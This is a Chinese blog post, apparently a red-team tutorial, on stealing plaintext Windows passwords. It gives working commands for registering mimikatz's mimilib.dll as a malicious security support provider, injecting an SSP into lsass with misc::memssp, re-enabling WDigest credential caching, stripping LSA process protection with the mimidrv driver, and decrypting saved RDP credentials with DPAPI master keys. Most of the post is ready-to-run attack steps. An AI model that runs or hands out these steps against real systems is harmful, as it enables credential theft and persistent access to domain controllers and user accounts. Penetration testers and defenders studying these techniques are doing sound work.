美文网首页内网攻防软件already
Windows多种方式获取密码

Windows多种方式获取密码

作者: book4yi | 来源:发表于2022-07-17 23:11 被阅读0次

    前言:


    提桶跑路一个月了,平躺是真滴舒服,心宽体胖。后面一段时间直到hw结束,我打算把主要精力都放在免杀上面,不会点C真的寸步难行,或者就只能从go下手了

    0x01 SSP记录明文密码


    SSP(Security Support Provider)是一个用于实现身份验证的DLL文件,主要用于Windows系统的身份认证功能,例如NTLM、Kerberos、Negotiate、Secure Channel(Schannel)、Digest、Credential(CredSSP)

    当操作系统启动时SSP会被加载到lsass.exe进程中,由于lsass可通过注册表进行扩展,导致了在操作系统启动时,可以加载一个自定义的dll,来实现想要执行的操作。
    当我们在域环境内对LSA进行拓展自定义DLL文件时(替换某个ssp为恶意ssp,或者将ssp文件上传,修改lsa注册表使之启动时加载),就能够获取到lsass.exe进程中的明文密码。

    适用场景:

    适用于win8/win2012后无法获取明文密码,或者维持域控、在域控上抓用户密码

    利用过程:

    在mimikatz中有32和64两个版本,安装包里分别都带有不同位数的mimilib.dll。

      1. 复制mimilib.dll放到System32路径下,注意版本对应32或64位系统
      1. 修改hklm\system\currentcontrolset\control\lsa注册表中Security Packages项的值来加载新的安全支持提供程序mimilib.dll:reg add "hklm\system\currentcontrolset\control\lsa" /v "Security Packages" /t REG_MULTI_SZ /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /f
      1. 锁屏:rundll32.exe user32.dll,LockWorkStation

    当用户或域用户登录时,在c:\windows\system32生成文件kiwissp.log,记录登录用户的明文密码。

    或者我们可以直接利用mimikatz向lsass注入ssp,此技术不需要将mimilib.dll放入磁盘或创建注册表项,不需要重启也可以获取账户信息:

    缺点:重启后失效

    privilege::debug
    misc::memssp
    

    等用户输入密码登录后,将在System32中创建一个日志文件记录明文密码:
    C:\Windows\System32\mimilsa.log

    Invoke-Mimikatz.ps1:

    Import-Module .\Invoke-Mimikatz.ps1  //导入命令
    Invoke-Mimikatz -Command "misc::memssp"  //不需要重启获取 
    

    记录修改密码:reg add "hklm\System\CurrentControlSet\Control\Lsa" /v "Notification Packages" /t REG_MULTI_SZ /d "scecli\0rassfm\0mimilib" /f

    当系统发生修改密码的事件时,将生成一个日志文件记录用户新修改的明文密码:C:\Windows\System32\kiwifilter.log

    0x02 修改WDigest获取明文密码:


    Wdigest是lsass的一种SSP程序,主要用在Win2003的LDAP和基于Web的身份验证。它利用HTTP和简单身份验证安全层 (SASL) 交换进行身份验证。但这个认证机制会在内存中以加密的形式保存win的明文密码。

    常用的mimikatz的sekurlsa::logonpasswords命令,就是依靠Wdigest来获取明文密码。
    在win2008版本和Windows Server 2012 R2之前的WDigest是默认开启的。

    利用方法:通过操作对应的注册表来开启WDigest:

    reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
    

    打了补丁或2008之后的主机会多一个UseLogonCredential项
    当该项的值为1则记录明文密码,0则为不记录明文密码

    最后利用mimikatz获取明文密码:

    privilege::debug
    sekurlsa::logonpasswords
    

    0x03 绕过LSA保护:


    微软在 Windows 8.1、Windows Server 2012 R2添加了 LSA 保护策略,以防止不受保护的进程对lsass.exe读取内存和代码注入。

    查看是否开启LSA进程保护:

    reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA
    reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL /t REG_DWORD /d 1 /f
    

    当RunAsPPL键值为1就表示开启了LSA保护,此时无法通过mimikatz获取明文密码:

    这里如果想要获取明文密码有两种方法:

    1)对注册表的RunAsPPL键值进行删除:

    reg delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL /f
    

    缺点:需要重启后才能生效

    2)利用mimikatz绕过LSA保护:

    运行mimikatz,获取debug权限,将mimidrv.sys驱动加载进去,使用该驱动绕过lsa保护:

    privilege::debug
    !+
    !processprotect /process:lsass.exe /remove
    misc::memssp
    sekurlsa::logonpasswords
    

    0x04 破解RDP保存的凭证:


    当通过rdp服务登录远程桌面时,如果选择了保存凭证,会在本地生成一个凭证文件,我们只要破解这个凭证里面的数据即可获得明文密码。

    查看历史RDP记录:

    reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s
    

    可以看到登录主机对应的ip、凭证名和用户名信息:

    Windows保存RDP凭据的位置:%userprofile%\AppData\Local\Microsoft\Credentials

    dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
    

    以CS上线后调用mimikatz为例:

      1. 利用 mimikatz 获取 guidMasterKey(凭据的GUID):
    mimikatz privilege::debug
    mimikatz dpapi::cred /in:C:\Users\book4yi\AppData\Local\Microsoft\Credentials\E9BD6F76581557D2A266AF679E808EAE
    
      1. 查找对应的 Masterkey:
    mimikatz sekurlsa::dpapi
    
      1. 使用Masterkey解密凭证文件获取密码明文:
    mimikatz dpapi::cred /in:C:\Users\book4yi\AppData\Local\Microsoft\Credentials\E9BD6F76581557D2A266AF679E808EAE /masterkey:c1889997c4a1a83f858f4cffccfd36386e769a9857a86c961d2ebb45325b40fceb45dbb8c799bb788981f1ef9cecc58779e0c0938d99074a38931de0528f3abe
    

    参考如下:


    SSP方式获取win明文密码
    内网密码提取
    RDP保存的凭证破解
    绕过LSA保护

    相关文章

      网友评论

        本文标题:Windows多种方式获取密码

        本文链接:https://www.haomeiwen.com/subject/kommvrtx.html